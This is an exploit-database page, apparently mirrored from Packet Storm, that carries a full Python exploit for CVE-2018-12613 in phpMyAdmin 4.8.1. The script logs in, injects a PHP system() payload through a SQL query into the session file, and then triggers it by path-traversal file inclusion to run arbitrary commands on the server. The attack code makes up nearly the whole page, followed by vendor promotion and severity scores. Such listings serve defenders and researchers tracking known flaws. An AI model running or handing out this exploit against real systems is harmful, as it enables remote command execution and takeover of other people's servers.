Lucene search
K

phpMyAdmin 4.8.1 Remote Code Execution

🗓️ 25 Oct 2021 00:00:00Reported by samguyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 395 Views

phpMyAdmin 4.8.1 Remote Code Executio

Related
Code
`# Exploit Title: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)  
# Date: 17/08/2021  
# Exploit Author: samguy  
# Vulnerability Discovery By: ChaMd5 & Henry Huang  
# Vendor Homepage: http://www.phpmyadmin.net  
# Software Link: https://github.com/phpmyadmin/phpmyadmin/archive/RELEASE_4_8_1.tar.gz  
# Version: 4.8.1  
# Tested on: Linux - Debian Buster (PHP 7.3)  
# CVE : CVE-2018-12613  
  
#!/usr/bin/env python  
  
import re, requests, sys  
  
# check python major version  
if sys.version_info.major == 3:  
import html  
else:  
from six.moves.html_parser import HTMLParser  
html = HTMLParser()  
  
if len(sys.argv) < 7:  
usage = """Usage: {} [ipaddr] [port] [path] [username] [password] [command]  
Example: {} 192.168.56.65 8080 /phpmyadmin username password whoami"""  
print(usage.format(sys.argv[0],sys.argv[0]))  
exit()  
  
def get_token(content):  
s = re.search('token"\s*value="(.*?)"', content)  
token = html.unescape(s.group(1))  
return token  
  
ipaddr = sys.argv[1]  
port = sys.argv[2]  
path = sys.argv[3]  
username = sys.argv[4]  
password = sys.argv[5]  
command = sys.argv[6]  
  
url = "http://{}:{}{}".format(ipaddr,port,path)  
  
# 1st req: check login page and version  
url1 = url + "/index.php"  
r = requests.get(url1)  
content = r.content.decode('utf-8')  
if r.status_code != 200:  
print("Unable to find the version")  
exit()  
  
s = re.search('PMA_VERSION:"(\d+\.\d+\.\d+)"', content)  
version = s.group(1)  
if version != "4.8.0" and version != "4.8.1":  
print("The target is not exploitable".format(version))  
exit()  
  
# get 1st token and cookie  
cookies = r.cookies  
token = get_token(content)  
  
# 2nd req: login  
p = {'token': token, 'pma_username': username, 'pma_password': password}  
r = requests.post(url1, cookies = cookies, data = p)  
content = r.content.decode('utf-8')  
s = re.search('logged_in:(\w+),', content)  
logged_in = s.group(1)  
if logged_in == "false":  
print("Authentication failed")  
exit()  
  
# get 2nd token and cookie  
cookies = r.cookies  
token = get_token(content)  
  
# 3rd req: execute query  
url2 = url + "/import.php"  
# payload  
payload = '''select '<?php system("{}") ?>';'''.format(command)  
p = {'table':'', 'token': token, 'sql_query': payload }  
r = requests.post(url2, cookies = cookies, data = p)  
if r.status_code != 200:  
print("Query failed")  
exit()  
  
# 4th req: execute payload  
session_id = cookies.get_dict()['phpMyAdmin']  
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}".format(session_id)  
r = requests.get(url3, cookies = cookies)  
if r.status_code != 200:  
print("Exploit failed")  
exit()  
  
# get result  
content = r.content.decode('utf-8', errors="replace")  
s = re.search("select '(.*?)\n'", content, re.DOTALL)  
if s != None:  
print(s.group(1))  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2021 00:00Current
CVSS 26.5
CVSS 3.18.8
EPSS0.94262
395